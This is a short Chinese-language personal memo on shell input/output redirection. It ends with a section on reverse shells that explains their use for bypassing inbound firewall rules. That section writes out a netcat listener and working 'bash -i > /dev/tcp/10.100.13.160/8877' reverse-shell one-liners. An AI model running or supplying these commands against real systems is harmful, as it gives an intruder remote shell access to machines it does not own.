关于shell的输入输出几个知识点(备忘)
关于shell的输入输出几个知识点(备忘)
1.一般定义
标准输入(stdin) 0 < 或 <<
标准输出(stdout) 1 >, >>, 1> 或 1>>
标准错误输出(stderr) 2 2> 或 2>>
2.两个特殊定义
2.1
&> 是特殊约定,等同于>&,正常写法为 2>&1 将标准错误输出重定向到标准输出
2.2
/dev/null 空文件也是一个特殊约定
> /dev/null 2>&1 将标准错误输出重定向到标准输出指向的文件,这里就指向了空文件
3.反弹shell
正常的shell是从自己这边的黑科技 连接 到远程的售货机,在黑科技 可以进行对远程售货机的shell操作
反弹sehll就是让远程的售货机主动来连接我们的黑科技,在黑科技可以进行对远程售货机的shell操作
为什么要用反弹,主要是绕过防火墙,一般防火墙限制进入端口,不限制出去端口,
但是如果防火墙限制出去端口,那么反弹shell就不会成功
利用shell反弹,举例如下:
在黑科技执行
a. nc -lvp 8877
开放8877这个口,l是监听 v是连接详细信息 p是端口
售货机执行
b. bash -i > /dev/tcp/10.100.13.160/8877 0>&1 2>&1
bash -i 是交互式shell
> 表示标准输出 重定向到 这个socket文件 /dev/tcp/10.100.13.160/8877
0>&1 表示将标准输入也重定向到 标准输出,这里就是 这个socket文件 /dev/tcp/10.100.13.160/8877
同样 2>&1 表示将标准错误输出也重定向到 标准输出,这里就是 这个socket文件 /dev/tcp/10.100.13.160/8877
下面这种写法等同于上面的写法,用了特殊定义&>, 表示将标准错误输出重定向到标准输出,所以后面的 2>&1就不用了
bash -i &> /dev/tcp/10.100.13.160/8877 0>&1